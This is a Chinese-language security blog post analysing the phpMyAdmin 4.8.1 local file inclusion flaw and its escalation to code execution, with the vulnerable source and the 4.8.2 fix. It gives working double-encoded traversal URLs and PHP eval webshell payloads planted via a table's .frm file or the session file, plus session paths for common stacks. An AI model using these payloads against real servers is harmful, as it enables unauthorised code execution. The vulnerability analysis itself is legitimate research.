首页 » NetworkSec » Penetration » 正文

phpmyadmin4.8.x LFI to RCE

0x00 概述

6月下旬,chamd5团队公开了phpmyadmin4.8的LFI漏洞(须登录),可导致RCE,使用url双重编码绕过限制进行文件包含,再包含session文件或数据库表frm文件即可RCE。

 

0x01 漏洞重现

环境:win7+xampp+phpmyadmin4.8.1

Payload:

http://127.0.0.1:8888/phpmyadmin481/index.php?target=export.php%25%33%66/../../../../../../../../../windows/system.ini

成功包含system.ini。

进入下一阶段:命令执行

方式一:包含frm

先查看data文件路径:show variables like ‘%datadir%’;

在test库中新建pmatest1表,其中一个字段名设置成<?php @eval($_GET[‘lsa’]);?>

再包含mysql/data/test/pmatest1.frm即可rce,

payload:

http://127.0.0.1:8888/phpmyadmin481/index.php?lsa=phpinfo();&target=export.php%25%33%66/../../../../../../../../../../xampp/mysql/data/test/pmatest1.frm

方式二:包含sess文件

利用php用文件存session的特性,在phpmyadmin里的操作都记录在sess_pmavalue中,该文件保存的路径视情况而定:

xmapp中保存在

xampp/tmp/sess_pmavalue

phpstudy:

/phpstudy/PHPTutorial/tmp/tmp

wamp:

/wamp64/tmp

在Linux下,常见的文件路径为: /var/lib/php/session/

在phpmyadmin中执行查询

SELECT ‘<?php @eval($_GET[lsa]); exit();?>’

被记录在sess_pmavalue中

payload:
http://127.0.0.1:8888/phpmyadmin481/index.php?lsa=phpinfo();&target=export.php%25%33%66/../../../tmp/sess_08vi4klpgs54l05fqq5p34d4ia

//因为export.php%3f当成了目录,所以要多一个../

/*使用绝对路径也可以,如:

http://127.0.0.1:8888/phpmyadmin481/index.php?lsa=phpinfo();&target=export.php%253f/../../../../../../../../../../../../../../../../xampp/tmp/sess_fne7a5ah109htpaqndc5jpi8fn

*/

//不知为何用写入$_POST包含就会跳转首页……

 

0x02 漏洞分析

漏洞文件:

.\index.php:55

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

target符合4个条件就会includ

1. 是字符串

2. 不以index开头

3. 不在 $target_blacklist名单里

4. 符合checkPageValidity函数要求

 

找checkPageValidity函数:
libraries\classes\Core.php:443

public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }
 
        if (in_array($page, $whitelist)) {
            return true;
        }
 
        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }
 
        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }
 
        return false;
    }

需要返回true,三个if有一个满足true就ok了,都需要满足whitelist:

class Core
{
    /**
     * the whitelist for goto parameter
     * @static array $goto_whitelist
     */
    public static $goto_whitelist = array(
        'db_datadict.php',
        'db_sql.php',
        'db_events.php',
        'db_export.php',
        'db_importdocsql.php',
        'db_multi_table_query.php',
        'db_structure.php',
        'db_import.php',
        'db_operations.php',
        'db_search.php',
        'db_routines.php',
        'export.php',
        'import.php',
        'index.php',
        'pdf_pages.php',
        'pdf_schema.php',
        'server_binlog.php',
        'server_collations.php',
        'server_databases.php',
        'server_engines.php',
        'server_export.php',
        'server_import.php',
        'server_privileges.php',
        'server_sql.php',
        'server_status.php',
        'server_status_advisor.php',
        'server_status_monitor.php',
        'server_status_queries.php',
        'server_status_variables.php',
        'server_variables.php',
        'sql.php',
        'tbl_addfield.php',
        'tbl_change.php',
        'tbl_create.php',
        'tbl_import.php',
        'tbl_indexes.php',
        'tbl_sql.php',
        'tbl_export.php',
        'tbl_operations.php',
        'tbl_structure.php',
        'tbl_relation.php',
        'tbl_replace.php',
        'tbl_row_action.php',
        'tbl_select.php',
        'tbl_zoom_select.php',
        'transformation_overview.php',
        'transformation_wrapper.php',
        'user_password.php',
    );

这里随意选一个就可以,如export.php(构造完payload就不在blacklist里了)

第一个if:
if (in_array($page, $whitelist)) {

return true;

}

没希望。

第二个if:

$_page = mb_substr(

$page,

0,

mb_strpos($page . ‘?’, ‘?’)

);

if (in_array($_page, $whitelist)) {

return true;

}

mb_strpos:返回string0在string1中首次出现的位置

mb_substr:提取string从0到x个长度的字符(串)

所以可以尝试:

explort.php?/../../../../../../windows/system.ini

但是在win下?后会被当成参数无法跨目录。

第三个if:

$_page = urldecode($page);

$_page = mb_substr(

$_page,

0,

mb_strpos($_page . ‘?’, ‘?’)

);

if (in_array($_page, $whitelist)) {

return true;

}

 

return false;

}

就比第二个if多了urldecode($page)就出问题了。

将?双重编码(%25%33%66或%253f)即可返回true。

因为$_REQUEST自动解码一次,变成%3f,再经过urldecode一次变成?。

include $_REQUEST[‘target’];

就变成

include ‘export.php%3f/../../../../../../../../../windows/system.ini

 

0x03 修复方案

升级到4.8.2

修复代码:

Index.php:59

Core::checkPageValidity($_REQUEST[‘target’], [], true)

传了个true,在看看这个函数

libraries\classes\Core.php:444

public static function checkPageValidity(&$page, array $whitelist = [], $include = false)
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }
 
        if (in_array($page, $whitelist)) {
            return true;
        }
        if ($include) {
            return false;
        }

直接返回false无法包含了……

 

0x04 结语

又多了一种phpmyadmin的漏洞利用方法,不只限于select日志或into outfile了。

 

0x05 参考资料

www.freebuf.com/vuls/176064.html

Comment